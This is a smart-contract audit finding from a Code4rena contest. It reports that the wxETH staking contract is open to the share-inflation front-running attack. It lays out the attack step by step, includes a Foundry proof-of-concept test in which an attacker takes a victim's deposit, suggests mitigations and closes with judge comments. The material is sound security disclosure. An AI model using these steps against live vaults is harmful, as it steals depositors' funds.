wxETH is vulnerable to the inflation attack

[code423n4]

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/main/src/wxETH.sol#L96

Vulnerability details

wxETH is vulnerable to the inflation attack

The wxETH contract is vulnerable to the attack known as "inflation attack" in which a bad actor can front-run initial stake transactions and steal all deposit funds.

Impact

The staking functionality of wxETH is vulnerable to the inflation attack. This issue allows a malicious actor to front-run the initial deposit in the contract to steal all funds.

The attack, which is described in detail here and here, involves inflating the value of a share by donating assets to the pool. The attacker front-runs the initial stake transaction by first minting a single share and donating such an amount of assets that will make the front-runned deposit to mint zero shares:

1. Assume contract is empty and user wants to stake X amount of xETH.
2. Attacker front-runs transaction and:
   • Stakes 1 wei of xETH so they get 1 share of wxETH
   • Transfers (donates) X amount of xETH directly to the wxETH contract. This increases the reserves, inflating the value of a share.
3. Front-runned transaction gets executed. User stakes X amount and since the pool has X+1 assets, the user gets zero shares: shares = assets * supply / totalAssets = X * 1 / (X+1) = 0.
4. Attacker unstakes their single share. As the total supply of shares is still 1, the attacker basically owns the total amount of assets and steals the user funds.

This is a common issue present in vaults in which the underlying asset balance can be manipulated. As there is no slippage check on the deposit, the attacker is able to inflate the value of a share in order to devalue the front-runned deposit. Due to rounding issues, the original transaction is minted zero shares, which allows the attacker to control all shares of wxETH and to withdraw all the xETH balance, effectively stealing the funds from all initial deposits to the contract.

Proof of concept

In the following test, Alice wants to deposit 1e18 tokens of xETH and is front-runned by Bob, who first mints 1 share using 1 wei of xETH and then donates an equal amount of tokens as Alice to the wxETH contract. Alice's transaction is then executed and she is minted zero shares. Bob now unstakes his share to recover his deposit, along with all funds from Alice's deposit.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

function test_wxETH_InflationAttack() public {
    // Alice will stake, Bob will play the attacker role
    uint256 depositAmount = 1e18;

    deal(address(xETH), alice, depositAmount);
    deal(address(xETH), bob, depositAmount + 1);

    // Bob frontruns Alice initial stake
    vm.startPrank(bob);

    xETH.approve(address(wxETH), type(uint256).max);

    // He first stakes 1 wei to have 1 share
    wxETH.stake(1);
    assertEq(wxETH.balanceOf(bob), 1);

    // He then donates depositAmount+1 to the contract
    xETH.transfer(address(wxETH), depositAmount);

    vm.stopPrank();

    // Now comes Alice stake
    vm.startPrank(alice);

    xETH.approve(address(wxETH), type(uint256).max);
    wxETH.stake(depositAmount);

    // Alice will have 0 shares
    assertEq(wxETH.balanceOf(alice), 0);

    vm.stopPrank();

    // Now Bob unstakes his share to steal everything
    vm.prank(bob);
    wxETH.unstake(1);

    assertEq(xETH.balanceOf(bob), depositAmount * 2 + 1);
}

Recommendation

The following discussion presents different mitigations to the attack.

As the wxETH contract doesn't conform to the ERC4626 standard, the easiest solution would be to add a slippage check on the number of minted shares. A minSharesOut parameter can be added to revert the operation if the minted shares of wxETH is below this limit, preventing the front-running.

Alternatives are minting an initial amount of dead shares so the attack becomes economically infeasible, or implementing internal accounting for the balance of the asset (xETH).

References

• https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/audits/2022-10-ERC4626.pdf
• https://www.rileyholterhus.com/writing/bunni
• https://mixbytes.io/blog/overview-of-the-inflation-attack

Assessed type

MEV

[c4-judge]

kirk-baird marked the issue as duplicate of #3

[c4-judge]

kirk-baird changed the severity to 2 (Med Risk)

[c4-judge]

kirk-baird marked the issue as not a duplicate

[c4-judge]

kirk-baird marked the issue as duplicate of #21

[c4-judge]

kirk-baird marked the issue as satisfactory